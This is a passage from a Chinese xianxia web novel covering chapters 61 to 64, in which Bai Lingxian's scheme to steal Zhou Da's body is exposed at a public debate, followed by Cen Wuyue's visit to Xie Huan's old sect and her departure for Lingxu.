在这件事上定然会竭尽全力地刨根问底。 白令先一丝也不敢松懈, 只能压上血誓令,指使千嶂夕立刻前去杀死岑无月。 千嶂夕不太情愿,但仍去了。 整件事情的全貌,其实只有白令先一人知晓。 白令先成功地将千嶂夕及全天下蒙在鼓里两百多年,原以为也能这样持续一辈子,谁知道不知道从哪冒出来一个岑无月。 …… 如果要说一切的开始, 那还得说回白令先的道。 修真界提起周家, 人人都嘲讽他们的恃强凌弱、丛林法则,可周家之外又与周家之内有什么区别? 像白令先这样修为平平的散修,无论走到哪里,都是被人欺压掠夺的份。 而白令先若是想体会这种生杀大权,就只能去凡人身上找了。 他在修真界再怎么弱,杀凡人还是易如反掌。 白令先也这么做了。 但很快,他便意识到那只是饮鸩止渴。 因为他想要的不是凡人生杀予夺尽在己手,而是能够将那些曾经嘲讽、打压、几乎杀死他的修士踩在脚下。 要达成这个目的, 他只有鞭策自己不断变强。 而当时正好又有一人成功飞升, 走的是前所未闻的破情道。 先入情、再出情。 白令先遂勾引了一个凡人女子。 他轻而易举地治好那女子父亲的重病,在这位父亲面前表现出对女子的爱慕, 最后,父亲果然将女儿交给了他。 白令先想尽办法入情,却发现这远比他想象的要难。 倒是这女子在离世前平静地告诉他:“情并不能勉强,也无法凭空而来。” 一个凡人,竟然说出这种好像看透了修道本质的话来。 白令先不懂,他觉得只是时间不够久,凡人的寿命太短,下次尝试理当寻一名能活很久的修士。 之后,他四处游历寻找合适的对象,倒也结识了不少有情道修,便常常与他们探讨情为何物。 有情道修们却往往很诧异,道:“情是人生来就有之物,割舍才是反人之道。” 不过他们还说:“情也不仅仅是指男女之爱呀,你也可有别的情,这或许也可算‘入情’?” 白令先半懂不懂,继续寻找,遇见千嶂夕时惊为天人,便邀请其共修破情道。 立刻被千嶂夕一顿好打赶了出去。 白令先自觉羞愧,转而低调行事。 接着,他遇见了周妲。 见到周妲第一眼,白令先就明白了有情道修士们所说“有些人生来就是要被爱的”是什么意思。 周妲身边的男人多如狗,她眼神往自己脚下一瞟,就能有人愿意跪下来舔她沾上灰尘的鞋尖。 她就该修有情道! 可周妲又坚持自己只修无情道。 白令先也说不清自己是如何想,但他主动在无人处向她推荐了破情道。 周妲觉得很有意思。 白令先心神荡漾,立刻邀请她和自己一同修炼。 而周妲居然答应了。 —— 之后白令先便找一处地方同周妲隐居,两人日夜相处,偶尔也会论道。 白令先因为千嶂夕的事情,仍旧不外出活动;倒是周妲时不时会离开一段时间,去见她的师兄。 那位师兄,白令先一次也没见过。 周妲总是调侃道:“你见了他,没几句话就要被削掉脑袋。” 白令先只当是个脾气暴躁、爱护师妹的凶残人物,没有多问。 —— 被周妲吸引几乎是理所当然的事。 但欲又究竟能诞生几分爱呢?何时才算是入情呢? 白令先不太清楚。 —— 某日,周妲外出归来,一脸若有所思。 白令先询问何事,她只道自己在外遇见一个长得与自己很像的人,像是母亲。 白令先诧异道:“你不是被你大师兄捡到的孤儿?” “但我是被抛弃的,”周妲出神地停顿许久,才道,“若我的血亲还在世,或许就能知道为何我会被抛在野外了。” 白令先怜爱地抚过她的脸颊,问:“你当真想去寻找答案吗?” 生性悲观的他并不看好此事的结果。 但周妲的眼睛却亮起光芒:“今日我见到那人也过得不好……或许,当年他们也不是故意将我扔掉的。” 白令先便突然意识到两件事。 第一,“情”当真是人生来就有之物。 周妲如今修行几十年,却仍旧在追寻出生时未曾得到的母爱。 第二,他当下竟愿意用一切代价来换取周妲在此事上能获得一个好结果。 也就是…… 入情。 —— 周妲又离开了一段时间,拒绝了白令先的陪同。 回来时,她的表情有些惆怅,但算不上失落。 白令先问起详情,周妲只说找到了自己的姐姐。 “那个你以为是母亲的人呢?” “那就是我的姐姐,”周妲莞尔一瞬,很快又露出愁容,“她修为极低,所以并不能驻颜。” 那也就是说,对方会很快死去了。 白令先已经不太记得自己曾经共同生活过、但又没有爱上的那个凡人,他只记得凡人的寿命非常短。 思及此,他温和地抚着周妲的头发劝慰她:“那就尽力多陪她吧。无论有什么困难,我与你一起。” 周妲靠在他的怀里,轻声叹息,但不说话。 —— 白令先有些明白那些无情道修曾经说过的话了。 他已入情,却完全不想出情。 若能和周妲一直这样下去,飞升不了又有什么关系,修真界的实力强弱又有什么关系? 太上无相真君再强,也终究只是孤身一人。 听说那位当年也斩了自己的道侣才道成,只是一直压制修为、不愿飞升,而是留在此间传道受业、福泽众人。 白令先此时更是无法理解这些杀亲证道的修士。 是如何能下得了手的? 周妲都不需要吐血、不需要哭,只消看他一眼,他就满脑子只剩下她了。 —— 某日,百无聊赖的周妲突然道:“破情道真能飞升吗?” 白令先一愣:“什么意思?” “意思是,”周妲扭回头来看他,眼神冷静而轻慢,“我还是没法爱上你。” —— 白令先只能杀周妲,他必须杀。 若周妲以此外任何别的方法死去,他恐怕都无法从“入情”这一境中出来了。 两人死战一场,白令先修行年数毕竟长远,胜了周妲一筹。 周妲重伤遁走,白令先在后面追。 他知道周妲有一个姐姐,但对方修为低到与凡人无异,不足为虑。 但周妲那位姓名不详的师兄却很有威胁,他绝不能让周妲将消息传到那位师兄耳中。 只要先杀死周妲,日后哪怕那位师兄寻上门来,白令先也能骗住对方。 只需要先“你是何人?”,然后“她已在多年前就弃我而去,为何如今还要来质问我?”,接着“什么?她下落不明?!”,最后“我这就去寻!若是师兄寻得她的踪迹,也务必告知我一声,好叫我安心”。 但首先,白令先得先亲手杀死周妲。 —— 周妲死了,但不是白令先杀的。 而是苏艺桐。 白令先甚至都没敢靠近浑身杀气、犹如怪物的苏艺桐,他怀疑自己连她的三招都接不下来。 他只装作是无辜散修经过此地,露出惊恐的表情后,慌不择路地掉头就跑。 那随心所欲行事的魔头并没有追上来。 白令先松了口气,忐忑徘徊许久才掉转头去寻。 苏艺桐走了,地面被削了个坑,又敷衍地填平,上面放了一朵花。 白令先从土坑中挖出周妲的完整尸体,仔细清理后,又将其好好保存、随身携带。 —— 白令先以为这就是他和周妲的全部故事。 直到异军突起的周凰突然开始追杀他。 他百思不得其解:自己又不认识周凰,更不是周家人,为何周凰对他恨不能啖其肉食其骨? 见到周凰的面时,白令先扫过对方的面容,便恍了神。 ——和周妲五分相似,说是姐妹更像是母女。 周凰就是周妲的姐姐。 两人自襁褓失散,重逢之后神念相通、心有灵犀。 她要杀他,是要为自己的双胞胎妹妹报仇。 白令先还试图为自己辩解:“并非是我杀死了她!” 周凰却比他知道的更多:“若不是你将她打至重伤,而后又紧追不放,她怎会舍生!她不过是不想成为你之道的祭品,所以才心甘情愿死在苏艺桐手里,谁是罪魁祸首,我难道不明白?” 白令先当然也明白。 但若人死到临头还不狡辩,那还是人吗? 他原想着修为低微的周凰能突然变强千倍百倍,是因为使用了什么以命相换的法诀,因此只是狼狈逃窜躲藏,想拖延时间等周凰耗尽生命。 谁料周凰的修为跟纵云梯一般,涨得叫修真界众人都惊掉下巴。 “恨你自己吧,”周凰嘲讽地道,“我二人从前以两具身体共享一份天资,所以才两人都资质平平。” 白令先恍然大悟。 难怪周凰是在周妲死后才突然崛起,盖因这份天资终于归位到一具身体。 这下他便不能只躲不还手了。 正好此时,他听说千嶂夕心灰意冷回到六合书院,立刻传讯约对方前来一见。 —— 千嶂夕想要更好的身体。 而白令先既要摆脱周凰的追杀、还想让周妲能重新“活”过来。 这是双赢之法啊! —— 周凰与千嶂夕战罢后,白令先借口秘法不能让他人看见施展过程,拉开相当一段距离。 而后,他烧毁周凰的身体,以携带在身边的周妲身体顶替之。 虽按照千嶂夕的要求对其容貌稍作调整,但仍留了周妲的神韵。 只有与她长期朝夕相处、见过她一颦一笑的人才能隐约辨认得出来。 此后他一再寻理由前往六合书院,看的都不是千嶂夕,而是周妲。 …… 千嶂夕回来了。 破空而来,架势很急。 白令先站在人群中,与其他人一道抬头看她疾速靠近的身影。 不同的是,旁人都在窃窃私语地猜测是不是发生了什么大事,而白令先内心深处那股不祥的预感却越来越强烈。 他倒退一步,心中已然升起了逃跑的念头。 可为时已晚。 千嶂夕的神念自空中遥遥锁定他,冷淡的声音直接打断台上二人的论道:“白令先,在众人面前坦白与周凰有关的一切。” 白令先脑中“嗡”了一声,感到一阵难以置信。 血誓未破,他但凡将此事说出口便是违誓,马上就会死去! 比起死,别的什么都不可怕。 就算千嶂夕严刑拷打又如何? 白令先飞快地打定主意要抵赖,面上表情也瞬间调整完毕,抬头时一脸疑惑中掺了些许被冒犯的反感,一句“我不懂道友在问什么,周凰与我有何关系”已经到了嘴边,舌头嘴唇却皆不听使唤,转而吐出的是:“周凰?千嶂夕,你真要我在这么多人面前说出来?” 白令先惊恐无比。 他意识到自己身体的每一寸在刚才那瞬间都不再属于他,别说灵力根本不听调动,甚至连对身体部位的感知都全部消失。 而他的身体,却不知道是受到了谁的意志操纵,灵活自如地行动,将当年的事情一一道来。 却又说得很有技巧性,既简洁又明了,将悬念留到最后,因而便没有因为违背血誓而立刻死去。 白令先听“自己”口若悬河、娓娓道来,又见落地的千嶂夕却只是垂眼聆听,任由自己身败名裂,却毫无阻止之意,心中更是惊惧不定:难道千嶂夕也被一样的法子拿住了?那又能是何人所为? ……岑无月,当然只能是岑无月。 没想到千嶂夕竟然不是岑无月的对手。 等“自己”说到最后一句时,白令先已经是心如死灰,满脑子只有一个念头:如果要违背血誓,那也不能独独只有我一人……! 真相完全被吐露的结尾,白令先猛然夺回自己身体的操控权,毫不犹豫冲向千嶂夕,捉住对方的手,将其当作兵器,狠狠洞穿自己的灵府。 千嶂夕看起来仍在出神,竟没有将他甩开。 她的灵府也随即出现一道手掌洞穿形状的伤口,与白令先的几乎一幕一样。 白令先笑了。 “陪我一起走吧。”他充满恶意地低喃。 第62章 第 62 章 叶秋宁被吓得不轻。 倒不是因为白令先所说的内容, 也不是因为千嶂夕居然只听不反驳,而是因为白令先的样子。 他自从开口叙述,便猛地开始七窍流血。 ——血肉横飞的场景, 绝大多数修士都不会觉得陌生、害怕。 ……但若这个人的血从头流到脚、没入地面、毫无减缓之意, 面色发灰、嘴唇苍白, 就连眼睛都开始蒙上一层代表死亡的白翳, 口中吐字却从未停下, 只是由流畅变得僵硬, 一字一顿, 仿佛从腐朽的喉咙中被挤出来似的……这场景就实在有点超出叶秋宁的理解了。 躲在他身后的师弟连声音都开始发抖:“他他他是不是死后被人操纵了尸体啊?” 强装镇定的师妹接口:“这这这就是传说中的赶尸,我听说过!” 叶秋宁咽了咽口水,视线扫过无动于衷的千嶂夕,心跳如擂鼓,但又不得不承担起师兄的责任安慰他们:“夫子们俱在,今日还有这么多前辈, 哪怕天下的魔修都来也没什么可怕的。” 白令先的话并不多, 寥寥几句话便将一段夺舍往事和盘托出。 但几句话的工夫,其实足够任何修士夺走他的生命。 再不济,也可打断。 只是白令先被笼在千嶂夕的神念中,旁人若要强行打断,那便不得不和千嶂夕硬碰硬。 外人此时不好出手,六合书院的人又不敢贸然行事,短短犹豫僵持期间,白令先已将前因后果倒了个干净。 而后, 白令先瞪圆双眼, 突地上前两步。 叶秋宁还以为他要对千嶂夕不利,下意识地往前跑。 同他一样做法的人不在少数。 谁知道白令先竟用千嶂夕的手自尽了。 叶秋宁有些茫然, 但更多的是怒气:他这样“以死明志”,就是一定要证明自己刚才所说的话全都为真,这是要置嶂夕师姐于死地! 他张开嘴,正要说话,却见到千嶂夕身上也无端出现了与白令先同样的伤痕。 这显然是某种绑定后反噬的结果,比如白令先刚刚所说的“血誓令”。 叶秋宁愣住了。 论道台周围此时悄然无声。 客人都不做声静观,等待六合书院的态度,而六合书院的人个个都没从刚发生的事情中回过神来。 叶秋宁不记得这死寂过去了多久。 或许只是几个呼吸,也或许有一炷香。 直到一道冷淡缥缈的声音将这局面打破:“千嶂夕,白令先所说,全部为真?” 气息微弱的千嶂夕望向上方那最尊贵的客位。 太上无相真君开口,就没有旁人质疑岔开的份了。 千嶂夕挺直腰站稳身体,嘴角勾了一下,道:“全部为真。” 真君不喜不怒,只是道:“谁人摄你?” 众人顿时哗然。 叶秋宁大喜过望,掠上前去扶住千嶂夕,一叠声地道:“师姐和白令先刚才一样被人摄住,说的那些话做不得真,还需细细调查,我先扶师姐去疗伤——” 他的话在半路戛然而止,只因千嶂夕主动拂开了他的手。 灵府是任何修士的死穴,一旦被毁便和废人无异,因此千嶂夕此时的力道连一阵风都不如。 可叶秋宁被这阵微风拂过时,却明白了其中拒绝的意志。 他眼眶一红,不敢再伸手说话,只小心翼翼地跟在千嶂夕身旁,预备等她站不稳时去扶。 “无人摄我,”千嶂夕否认真君的判断,而后又一字一顿道,“这具身体,还给周妲师门。” 叶秋宁直到这时候才想起来,周妲这个名字为何耳熟。 岑无月提起过,那是她一直在寻找的二师姐。 想到近来岑无月似乎被六合书院的弟子带跑,也跟着一起玩闹似的喊“嶂夕师姐”,叶秋宁不忍地闭了闭眼睛。 岑无月若是知道这竟然真是她苦寻不得的师姐,不知道该有多难过? 真君沉默片刻,才再度开口:“随你意吧。” 千嶂夕似乎松了口气,身体立刻委顿下去。 好在叶秋宁早就准备,伸手将她接住。 从前无所不能、总是挡在所有人身前的师姐,此刻却轻得像一片树叶,无声飘落于地。 灵府被破者几乎都是废人。 同样灵府被毁的白令先此时已经脸朝下在旁边死得不能再死了。 当然也有例外,譬如苏艺桐,但没人知道她是怎么做到的。 叶秋宁咬牙道:“师姐,再尸解一次吧,我们都会等你的。” 千嶂夕笑了笑。 她脸上带着血迹,神情中奇特地透出一种前所未有的轻盈,似乎终于能放下某种难以言说的重担。 她望着叶秋宁,嘴唇微动,无声地吐出几个字。 …… 身边似乎短暂地嘈杂了一阵子,但叶秋宁一直愣在原地,充耳不闻。 直到有人大声地在近处喊他的名字:“……秋宁!叶秋宁!!” “……!”叶秋宁猛然惊醒,下意识护住千嶂夕的身体,警惕扭头看向声源。 却是书院里最铁面不过的朱夫子。 朱夫子叹着气道:“秋宁,照嶂夕说的办吧——将这具身体还给她师门之人。” 叶秋宁懵懵地眨眼,眼珠迟钝地转动几次。 先是看到义愤填膺、挡在自己身前的同门们,接着看到台下面色异样、交头接耳的修士们,最后才通过同门们组成的人墙看见被挡在不远处的岑无月。 他这才恍然将朱夫子的话听进耳中、明白那几个字串联在一起是什么意思。 接着,同门的抗议声才像是洪水开闸似的涌入他的耳中。 “嶂夕师姐都用这具身体两百多年了,况且也不是从前的样貌啊。” “我们也会好好安葬她、入土为安,绝不会亏待的!” “你……实在不行你也拜入我们书院吧,这样师姐就是你我共同的师姐了!” 岑无月却没有说话,神情怔忡,只是从他们身影的缝隙望向叶秋宁。 ……应该说,望向叶秋宁怀中的人。 叶秋宁喉头一涩,发力抱着千嶂夕起身。 听见声音,同门们纷纷回头看他,神情虽有不同,但显然没人愿意将这具身体还回去。 “既然嶂夕师姐有言在先,我等自当听从。”叶秋宁没有给其他人再争论的机会,一锤定音,“方才师姐告诉我另一个地方,她从前的……肉身就在那里。” 同门们无非是割舍不下千嶂夕,才当众争吵。 可周妲的亲友又何其无辜呢。 “我们应当之后去接嶂夕师姐原本的身体,将她安葬。”叶秋宁道。 同门们沉默了。 叶秋宁缓步向前,穿过同门们让出的道路,最后抵达岑无月面前。 他将怀中身体交给岑无月,又深深向她行礼:“代嶂夕师姐赔罪。” 岑无月似乎没有听见,她凝视着千嶂夕的脸,半晌才道:“……和画像上不一样呢。” 声音很轻,应该只有叶秋宁和修为极高之人才能听见。 叶秋宁更是羞愧。 岑无月却抬头朝他笑了笑,宽慰道:“千嶂夕也并不知情。” 确实,全是那白令先胆大包天、左右欺瞒的错。 叶秋宁余光扫到台下那具尸体,恨不得将其挫骨扬灰——即使如此,也不可能解恨。 他只有再度向岑无月谢罪:“若有别的要求,六合书院定不推辞。” 岑无月向来善解人意,自没有再为难六合书院,带走那具身体后便离开了。 短暂的混乱后,论道会又继续进行了下去。 只是台上、台下的众人还有多少聚精会神就很难讲了。 直到论道会结束后的一段时间,六合书院的众人都在忙碌中过得浑浑噩噩。 叶秋宁似乎听说有什么大战,死了哪个魔头谁谁谁,但全是左耳进右耳出,没有听进脑子里。 他常常听见别人嘀咕“怎么会这样呢?”“嶂夕师姐只是受到了蒙骗”,自己心中其实也常常想差不多的事情。 只是众人又都知道论起“受害者”来,没人比周妲岑无月更倒霉,于是也不提她们,只不约而同地痛骂白令先不是个东西。 要不是白令先,就不会有如今的局面,周凰、周妲、千嶂夕,更是全部都不用死。 白令先死十遍都不够还的! —— 周家的态度就和六合书院很不一样了。 杀死双生子中的一个对周家而言是惯例,只是当年周凰周妲的双亲不忍下杀手,才丢弃了其中一个。 那年周凰修为暴涨,周家人还百思不得其解,以为这双生归位居然也有延迟几十年才出现的概率。 这一遭阴错阳差地知道了真相,便立刻大怒要杀周凰周妲的双亲。 一查才发现这两人早就已经在一百多年前携手殉情。 周家的怒火无处发泄,便让还在六合书院的子弟去截岑无月,强行讨要周妲的尸体,欲作研究,只嘴上说得好听些,美其名曰“认祖归宗”。 岑无月哪里愿意,巧舌如簧说“二师姐随的是我师父姓氏,恰巧也姓周罢了”,拒绝归还。 六合书院众人听说此事后也横插一脚,一对上就说“阁下若要硬抢,我等誓死维护嶂夕师姐遗愿!”,处处阻挠。 周家恨得牙痒痒,一时又奈何不了岑无月,只好计划着等她离开六合书院后再寻机动手,让周临岐带人留在书院监视她的行踪。 周临岐有些不悦,但又违抗不了家族命令,捏着鼻子在六合书院过了一段被翻白眼、被阴阳怪气的日子,日日虔心祈祷岑无月尽快动身离开。 …… 应验倒是应验了。 但她并不是一个人走的。 同行那人叫谢还。 周临岐撂挑子不干了:一个岑无月深浅不知,众人一起围攻或许还能打得过;加上一个谢还那根本没什么好说的,上去送死? 再说了,那岑无月有三个下落不明的师姐师兄要找,这才找到一个,那不是另外还有两个没找到吗? 有的是机会等她落单再堵人,何必急于一时? 第63章 第 63 章 “——看, 这就是我的师门!”谢还自豪地介绍眼前破落的宗门入口,“不过我认识的都已经死了!” “我听说了,他们说算上你总共也只有三个人。”岑无月毫不吝啬地竖起大拇指。 谢还灵光一闪:“那岂不是和你师门一样?” “我就是这么说的!” “太巧了吧!!” “——既然这么巧, 择日不如撞日, 二位道友进来看一眼吧!”第三个声音热情地加入了对话。 岑无月早已察觉到对方的靠近, 并不惊讶, 偏头一看, 对上一张殷勤得过分的笑脸。 此人穿着一身麻布衣裳, 洗得发白, 习惯性地稍稍伛偻着腰,配上表情,看起来颇有些谦卑。 “进来?”谢还探头往里看,又看看这人,“听说现在总共就三个人,你是其中之一?” “正是, 正是, 在下名为??郑乾。”此人恭敬地行了一礼,又骄傲地回头指着山门介绍,“二位没有看错,这就是鼎鼎大名的邢云宗,谢还唯一曾经拜入过的宗门!宗门内甚至还有着他曾经看过的书、用过的剑、喝过的水、睡过的床,统统可以观看!” 谢还:“?” 看一脸震惊的谢还要开口反驳,岑无月抢先一步高举起手率先捂住他的嘴,大喊:“我们要看!” ??郑乾喜上眉梢, 而后腰瞬间挺直, 从储物戒中摸出一支拂尘、一挥、架到臂上,整个人的气质顿时变得仙风道骨起来:“二位请随我来。” 他将两人带到门槛处, 自己先走进去,然后停下脚步,用拂尘一拦,朗声道:“登门费,十灵魄每人。” 谢还:“?” 岑无月已经明白这个门派为什么只剩两人还能坚持下去了,全靠薅谢还这只肥羊的羊毛啊。 她乐得不行,掏了十灵魄交付,堂而皇之地踏过门槛,和??郑乾并肩盯着谢还看。 ??郑乾:“莫非这位道友囊中羞涩……” 岑无月:“他这个人出门老不带钱,我都习惯了。” ??郑乾:“这习惯不好。” 岑无月:“他还经常抢我的东西吃,很过分吧。” ??郑乾:“属实不该啊!” 谢还:“……” 两人一搭一唱,很轻松地骗走了谢还的十灵魄。 ??郑乾心满意足地收起二十灵魄,又往破落的宗门内走,一路时不时停下来介绍。 —— “……此乃宗门香炉,门中弟子日日上清心香供奉,闻之心平气和,灵台清明,最适合修士不过……一支二十灵魄,二位来一根吗?” 岑无月踊跃举手:“我买!” 谢还狐疑地抹一把香炉边沿:“什么时候买的这东西,看起来也太新了。” ??郑乾边收岑无月的灵魄边面不改色地道:“日日擦拭,自然一尘不染。” “?谁说灰尘的事情了。” 谢还还在质疑,但岑无月已经点上了“清心香”。 香倒不是坏香,像是手工做的,味道也不赖。 但跟“心平气和”肯定是沾不上边。 岑无月随意朝香炉拜了几下,将香插入炉中。 炉内稀稀拉拉地有那么十几根香,也不知道是别的小肥羊贡献,还是??郑乾自己插进去当障眼法、好骗人花钱的。 —— “……此乃练剑坪,弟子们每日便在此晨练、打坐,吸取天地之精华。这就是谢还当年最喜欢的地方,和他用过的座垫……调息一炷香,仅需三十灵魄!” 岑无月又踊跃举手:“我来,让我试试!” 谢还:“?你编的吧?邢云宗也不是使剑的啊?” ??郑乾一边收钱一边道:“不练剑也可练其他兵器,本门向来支持弟子们自由发展。” “?练剑坪这个名字你自己说的吧。” 岑无月五心向天,认真地在那个还挺干净的座垫上调息了五分钟。 刚睁开眼睛,发现谢还就蹲在她近前,跟研究什么玉石珠宝似的近距离观察她。 ??郑乾则是退出老远躲在树后,整个人显得有些风中凌乱,拂尘也炸了毛。 “怎么了?”岑无月问谢还。 谢还扬眉:“你调息时一直这样?” 他用手比划了几个手势。 神奇的是岑无月居然看懂了。 找回周妲、鹿云渺、沈述的过程中,其实她的心境一直在稳步上升。 那是因为所计划的每一步都按照预想那样的实现,越来越信任自己的判断,越来越确信自己所做的一切都能实现。 这恰合岑无月的道。 将三位师兄师姐全部收回之后,更是抵达一个圆融无碍、浑然天成的阶段。 用更通俗的话来说就是:又变强了。 只是她平时在日课上多有懈怠,许久没有好好入定调息,刚才轻松入定,恐怕周围的灵气涌入她体内的架势跟疯了没什么两样。 岑无月露出恍然大悟的表情,一脸惊喜地道:“谢还用过的坐垫和喜欢的位置果然是风水宝地,这三十灵魄花得太值了,快快,你也来试一试!” “?你当我傻呢。” 岑无月起身直奔??郑乾,迫不及待地一把将他拉出来:“还有什么?谢还看过的书?练过的功法?拜过的师父?我全部都想看!” ??郑乾本来身体还有些僵硬,听着听着眼中又逐渐亮起了灵魄的光芒:“有有有,道友说的这些全部都有!” “?别的就算了,拜过的师父不太可能吧。”谢还在后面反驳。 ??郑乾和岑无月一道无视他,硬是将这个小宗门里里外外逛了个遍。 也真难为??郑乾能找出这么多可以收灵魄的地方。 岑无月用的钱反正都是翊麟城来的,一点不心疼。 哦,还从苏艺桐身上拿了点,曲燃给的。 曲燃说只要把人打死,死人的财产当然是谁捡到就归谁,于是进行了一番完全不公平的分赃,他自己拿大头,因为“你刚才一直拿我当挡箭牌以为我不知道吗?!”。 看谢还看过的书——上面还有小人画。 睡谢还睡过的床——得蜷起来睡。 谢还练过的功法——异常简单,随看随会。 谢还用过的剑——小孩用的木剑,谢还小声说他根本没用过。 谢还喝过的水——指的是一口井。 …… 连“谢还曾经被关禁闭过的柴房”都被观赏过之后,能说会道的??郑乾也没了词。 他摸摸自己指上那最低阶的储物戒,又瞄一眼岑无月,而后似乎下定了什么决心,正色道:“本来别的道友此刻便该离开了,可岑道友,你很特殊。” 谢还也这么说过。 岑无月用手指戳戳谢还,小声问他:“这是你们门训?” 谢还深感被冒犯:“怎么可能有这种门训?他跟我说又不是一个意思。” “岑道友今日参观了本门所有地点!”??郑乾抑扬顿挫地说,“您的敬仰憧憬之情,我已充分收到,因此特别决定让您进一个平常外人禁入的地方。” 岑无月眼睛亮了,按例捧场:“好好好,要看要看。” ??郑乾严肃道:“岑道友,我将带你去见一个人,此人是谢还的直系后辈,是他的传人之一,也正是我的师父。” 跟在岑无月身后的谢还已经懒得反驳了。 其实邢云宗发展到如今,无论从功法还是从师承上来讲,都已经和谢还没有什么关系。 那些世家和大门派可以传承几千年,其中一个原因便是年龄。 其中随便一个人便可以活几百几千岁,绵延下去自然不难。 而邢云宗自从谢还之后已经换了三十多代短命掌门,好像已经提前透支完了一整个宗门的运气——这怎么传承得下去? 所以那人就算真和谢还有什么关系,少说也得绞尽脑汁地掰着手指数上三分钟才能搭得上。 不过岑无月并不介意。 她兴致勃勃地跟随郑乾去见了邢云宗如今仅剩的第三人。 谢还似乎也有点好奇,不紧不慢地跟在后面。 ??郑乾边走边介绍:“我师父此生只收过我一个徒弟,至今仍然没有相中第二人。岑道友若是不介意,可拜我师父为……” 他快速地瞟了岑无月一眼,到了嘴边的话又飞快改了。 “……为荣誉师父!此后,岑道友就是我邢云宗的门外弟子,这四舍五入呢,也和谢还成了同门,无论走到哪里,别人听了都会肃然起敬,如何,是不是很心动?” 岑无月诚恳地问:“能不能给我个长老身份呢?荣誉长老客座长老也行。” ??郑乾发出叹息:“道友,这就有些……” 岑无月:“我师父可爱哭了,要是知道我多一个师父她肯定会伤心的。” ??郑乾面露难色:“道友啊,不是我不愿意……” 岑无月:“灵魄好说。” ??郑乾精神焕发:“好,道友,你如此诚心,我一定替你说服师父!” —— 岑无月付出一千灵魄的代价,成为了邢云宗的客座长老。 ??郑乾甚至还给她搞来一块像模像样的身份牌,虽说是木质,但质地油润,不掉档次,摸着也很是顺手。 岑无月把身份牌举到谢还面前,得意洋洋道:“叫我长老。” 谢还不为所动:“论资历,我是你前辈,该喊我师兄……不对,师祖。” 岑无月早有准备,一点不慌,反问:“那你在邢云宗内的职务是什么呢?” 被问倒的谢还陷入了沉思。 “我都听六合书院的人说了,你师父是个边缘人物,你很早就离开宗门闯荡,后来你师父离世你就再没有回去过,”岑无月在他眼前晃着身份牌,大声嘲笑,“抛开别的不谈,你不过是个最普通的邢云宗普通弟子而已!” “……” “还不快叫长老!” “你今天折腾一圈就是为了这个?”谢还取过身份牌看一眼,纳闷地道,“‘长老’——好了吧?开心了?” 岑无月把身份牌抢回来,笑眯眯:“嗯,开心。” 第64章 第 64 章 离开六合书院后, 岑无月下一个确定的目的地是紫霄州。 如今更常用的名字应该是“灵墟”。 “灵墟?”谢还挑眉,“又不好玩。” “又不是去玩,”岑无月道, “我三师姐曾经去过那里, 但没有成功离开, 所以我想去看看能不能找到和她有关的线索。” 谢还上下打量岑无月, 很直白地说:“很可能会死。” “以修真界这等险恶的生存环境, 在哪里都很可能会死。”岑无月随口举例, “你之前说追杀我的那个苏艺桐不就突然死了?” 谢还玩味地问:“和你没关系?” “也不能说没关系。”岑无月并不紧张, “一来,她与我师门有仇,我总要和她相见;二来,嶂夕师姐早就知道这件事,且在围杀苏艺桐的过程中也出了力。” 岑无月确实是去了鼎元峰。 但消息传出时,是曲燃、千嶂夕、苏艺桐三人混战, 最后苏艺桐死于鼎元峰, 而千嶂夕似乎受了什么刺激,于论道会将自己夺舍一事昭告天下,随后死于血誓。 曲燃?没几个人能逮得到他、询问详情。 总之,魔修内讧、互相残杀,这不是很正常的事情? 接连这么多大事发生,谁会怀疑岑无月? 就算真的有那么一两人,他们又有什么证据? 岑无月说出口的每一句话都经过斟酌,全部都是真的。 可能隐藏一些什么, 但反正随便怎么查都是真话。 “倒确实听说苏艺桐追杀过曲燃一段时间。”谢还低头嘀嘀咕咕, 试图理清这件事其中的人际关系,“千嶂夕杀魔修倒也是惯例……但为什么苏艺桐死后, 那两个人没打起来?” “自然是因为我了,”岑无月正义十足地说,“他们俩都有损伤,那可不是适合决一死战的时候,而且他们又没仇。” 平时不怎么动脑的谢还立刻被岑无月带跑了思绪:“这么一说,曲燃好像不是千嶂夕最讨厌那种人……可是千嶂夕突然决定坦白隐瞒了两百多年的事还是太奇怪了。” “有什么奇怪?”岑无月给他一个理所当然的眼神,“别忘了,周妲是我二师姐这件事,苏艺桐也知道。” 谢还恍然大悟:“原来是这样。苏艺桐在死前对千嶂夕说出了实情吗?” 岑无月叹息:“毕竟二师姐最终选择死在苏艺桐手中。” 谢还似乎想通了一切,不再纠结这个问题。 岑无月也就此解决了一个麻烦。 谢还信了,询问他的人自然就会信他的话。 虚假事实就是这样传播开来的。 幸运的是,死人开不了口为自己辩护。 苏艺桐和千嶂夕都不行。 —— 半路上,谢还说太上无相真君找他,大概是有什么急事,掉头就跑。 他这人就是聚散离合都很自由洒脱,从来没什么惆怅之情。 岑无月独自前往灵墟,对着路径想了半天,最终还是没有再去一趟净庭山,只是按照直线行进。 途中曲燃来了一趟,死缠烂打要求岑无月把沈述的事情给他解释清楚:“那天你说要马上赶回六合书院没时间解释,今天总有了吧?我不会再让你赖过去第二次了!” 岑无月本来也就在等曲燃。 大师兄既好用也好玩,不过也不用逗过头。 她给过曲燃一瓶被孢子完全寄生的蚂蚁尸体——主要是用这个来做传讯工具等于免费,而且他人还破解不了。 那些蚂蚁身上的孢子做了特殊标记,离得近了,岑无月就能清楚感应到。 “你还能回师门吗?”岑无月问。 他们的师门秘境很是特殊,据师父说是一种稀有的“道具”。 秘境与外界完全隔绝,无法被探查、无法被破坏。 弟子们可以离开,每次离开之后也可以再回去,但必须本人真身返回,而不能使用身外之身、传讯、灵兽等等。 每个弟子的出入次数又都有上限,可出四次、入四次。 “能啊。”曲燃道,“还能进最后一次。” “那你替我跑一趟吧,把这些带给师父。”岑无月将储物镯取下,抹去自己的印记,交给曲燃,而后提前捏了个静音法诀,将两人包裹。 曲燃伸手时的表情很漫不经心,接过之后神识微动,向里探查,而后表情一僵。 几个呼吸后,他跳了起来,用一种奇怪的表情大喊:“我就知道,我就知道!你早就找到沈述了!” “还有三师姐。”岑无月道。 “……哪里?” “装在中间那个盒子里,只能收回这么多。”岑无月顿了顿,又补充,“之后我到灵墟会再找一找,但别抱什么希望。” 曲燃的神识又动了一下,眉头紧皱:“骨灰……?你烧的?” 岑无月看他一眼,很诚恳地说:“大师兄,你不擅长说谎吧,还是别问了。” 有事大师兄,无事曲燃。 “……”曲燃深吸一口气,表情扭曲地忍了下来,“行,不问。这些让我带给师父是准备安葬?那你为什么不一起回去,还有别的事情要办?” 岑无月飞快回答:“有。” 曲燃看着岑无月。 岑无月看着曲燃。 曲燃:“……这也不能说?!” 